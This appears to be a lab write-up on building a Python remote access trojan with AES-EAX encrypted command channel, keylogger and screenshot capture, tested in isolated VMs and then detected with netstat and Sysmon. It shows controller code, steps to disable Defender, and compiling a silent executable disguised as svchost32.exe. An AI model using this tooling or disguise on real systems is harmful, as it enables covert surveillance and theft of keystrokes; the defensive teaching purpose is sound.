Python RAT: AES-EAX C2 & Keylogger

Overview

This lab covers building a fully functional Remote Access Trojan (RAT) from scratch in Python, deploying it in a controlled Host-Only virtual environment, and then switching to the blue team side to detect and terminate it. The RAT uses AES-EAX authenticated encryption for all C2 traffic — no plaintext commands go over the wire.

Environment:

• Kali Linux (Attacker): 192.168.0.101 — Host-Only network
• Windows Server 2022 (Victim): 192.168.0.102 — Host-Only network
• C2 Port: 8008/TCP

Everything below was performed inside an isolated Host-Only VM environment with no external network connectivity. No unauthorized systems were touched.

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Section 1: Environment Setup & Network Configuration

Assigned static IPs on both VMs on a Host-Only network, then verified bidirectional connectivity and confirmed the C2 port was reachable.

Kali:

sudo ip addr add 192.168.0.101/24 dev eth0
sudo ip link set eth0 up
ip addr show eth0

Windows (PowerShell Admin):

New-NetIPAddress -InterfaceAlias 'Ethernet' -IPAddress 192.168.0.102 -PrefixLength 24
ipconfig /all

Connectivity checks:

# Kali → Windows
ping -c 4 192.168.0.102

# Windows → Kali (port reachability)
Test-NetConnection -ComputerName 192.168.0.101 -Port 8008

Also disabled Windows Defender and the firewall for the lab session:

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Set-MpPreference -DisableRealtimeMonitoring $true

Kali with static IP 192.168.0.101 assigned

Windows Server with static IP 192.168.0.102

4/4 ping replies — bidirectional connectivity confirmed

TcpTestSucceeded: True — C2 port reachable

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Section 2: Installing Dependencies

On Kali:

sudo apt update && sudo apt install -y python3 python3-pip git
pip3 install pycryptodome pyautogui pynput pyinstaller psutil
pip3 list | grep -E 'pycryptodome|pyautogui|pynput|pyinstaller|psutil'

On Windows (PowerShell Admin):

pip install pycryptodome pyautogui pynput pyinstaller psutil
pip list

Library	Purpose
pycryptodome	AES-EAX authenticated encryption for all C2 traffic
pyautogui	Programmatic screenshot capture on the victim
pynput	Low-level keyboard hook for the keylogger
pyinstaller	Bundles the script into a silent .exe
psutil	Enumerate live processes by name

All 5 libraries confirmed on Kali

All 5 libraries confirmed on Windows

On Windows, pip wasn’t initially in PATH after installation. Using py -m pip install resolved this.

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Section 3: Creating & Transferring the RAT Scripts

The RAT uses a reverse-shell model — the victim connects out to the attacker’s listener. All traffic is encrypted with AES-EAX and base64-encoded. Both scripts share the same 32-byte key.

Attacker Controller — hackerkey.py (Kali)

import socket, base64
from Crypto.Cipher import AES

KEY = b'0123456789abcdef0123456789abcdef'
IDENTIFIER = "<END_OF_COMMAND_RESULT>"
EOF_IDENTIFIER = "<END_OF_FILE_IDENTIFIER>"
CHUNK_SIZE = 2048

def encrypt_message(message):
    cipher = AES.new(KEY, AES.MODE_EAX)
    ct, _ = cipher.encrypt_and_digest(message.encode())
    return base64.b64encode(cipher.nonce + ct).decode()

def decrypt_message(encrypted):
    data = base64.b64decode(encrypted)
    cipher = AES.new(KEY, AES.MODE_EAX, nonce=data[:16])
    return cipher.decrypt(data[16:]).decode()

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.bind(("192.168.0.101", 8008))
srv.listen(5)
print("[*] Listening on 192.168.0.101:8008 ...")
conn, addr = srv.accept()
print(f"[+] Connection from {addr}")

while True:
    cmd = input("RAT> ")
    conn.send(encrypt_message(cmd).encode())
    if cmd == "stop":
        conn.close(); srv.close(); break
    # ... (download + receive loop)

Victim Agent — victimkey.py (Windows)

The victim script starts a keylogger thread immediately on launch, then connects back to the attacker over port 8008. It handles remote commands, screenshot capture, file download, and encrypted shell output.

Transfer to Windows:

# Kali: host the script
cd ~
python3 -m http.server 8080

# Windows: download it
Invoke-WebRequest -Uri "http://192.168.0.101:8080/victimkey.py" -OutFile "C:\Scripts\victimkey.py"
Get-Content C:\Scripts\victimkey.py | Select-Object -First 5

Attacker controller script open on Kali

Victim agent confirmed in C:\Scripts

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Section 4: Attacker Execution & Feature Demo

Launch order: always start hackerkey.py on Kali first (it listens), then run victimkey.py on Windows. The RAT> prompt appears once the victim connects.

# Kali
python3 ~/hackerkey.py

# Windows
cd C:\Scripts
python victimkey.py

Task 4a: Remote Command Execution

From the RAT> prompt on Kali:

RAT> whoami     → lab\admin
RAT> hostname   → Group2
RAT> dir C:\Users
RAT> Get-Date

Bug encountered: the first version of the receive loop crashed with a UnicodeDecodeError when output arrived in multiple chunks. Fix: buffer all chunks until <END_OF_COMMAND_RESULT> is detected before decrypting, and add .decode(errors="ignore") to handle Windows encoding differences.

RAT session active — whoami, hostname, dir C:\Users returned from victim

Task 4b: Screenshot Capture & Download

RAT> screenshot           # Victim saves screenshot.png
RAT> download screenshot.png

xdg-open screenshot.png   # Open on Kali

Victim’s desktop captured and pulled to Kali

Task 4c: Keylogger Exfiltration

The keylogger starts automatically when victimkey.py launches, writing every keystroke to C:\temp\keys.log. After typing on the victim machine:

RAT> download C:\temp\keys.log

cat keys.log

Keystrokes captured: Ctrl, Enter, and printable characters all logged

Task 4d: Silent EXE Compilation

# Windows
cd C:\Scripts
pyinstaller --onefile --noconsole victimkey.py
# Output: dist\victimkey.exe

# Rename to blend in:
Rename-Item ".\dist\victimkey.exe" ".\dist\svchost32.exe"

# Run silently — no console window:
.\dist\svchost32.exe

dist\victimkey.exe created successfully

Process running under svchost32.exe — no console window, blends in with system processes

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Section 5: Defense & Mitigation

5.1 Detect with netstat

netstat -ano | findstr :8008
# TCP 192.168.0.102:XXXXX 192.168.0.101:8008 ESTABLISHED <PID>
tasklist | findstr <PID>

Active C2 connection on port 8008 identified

5.2 Detect with Sysmon

# Event ID 1 — Process Creation
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Where-Object { $_.Id -eq 1 } | Select-Object -First 10

# Event ID 3 — Network Connection
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Where-Object { $_.Id -eq 3 -and $_.Message -like "*8008*" } |
Select-Object TimeCreated, Message | Format-List

Sysmon Event ID 1 showing svchost32.exe process creation with full command line

5.3 Terminate the RAT

# Kill by name
taskkill /F /IM svchost32.exe

# Block C2 port at the firewall
New-NetFirewallRule -DisplayName 'Block RAT Port 8008' -Direction Outbound -LocalPort 8008 -Protocol TCP -Action Block

# Verify connection closed
netstat -ano | findstr :8008   # Must return empty

svchost32.exe terminated and port 8008 connection confirmed closed

5.4 Re-enable Defenses

Set-MpPreference -DisableRealtimeMonitoring $false
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True

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Blue Team Takeaways

What worked for detection:

• netstat -ano | findstr :8008 immediately flagged the outbound C2 connection
• Sysmon Event ID 1 (Process Create) revealed svchost32.exe executing from C:\Scripts\dist\ — a non-standard path for anything named like a system binary
• Sysmon Event ID 3 (Network Connection) tied the process to the outbound TCP session on port 8008

What made it harder to catch:

• The binary was renamed to svchost32.exe to blend in with legitimate Windows processes in Task Manager
• All C2 traffic was AES-EAX encrypted — no plaintext commands visible in a packet capture
• The keylogger ran as a thread inside the same process, leaving no additional process entry

Key lesson: process name disguise is cheap and effective against casual inspection, but it falls apart the moment you check the binary path or hash — svchost32.exe in C:\Scripts\dist\ is an immediate red flag. Sysmon’s Image field in Event ID 1 always shows the full path.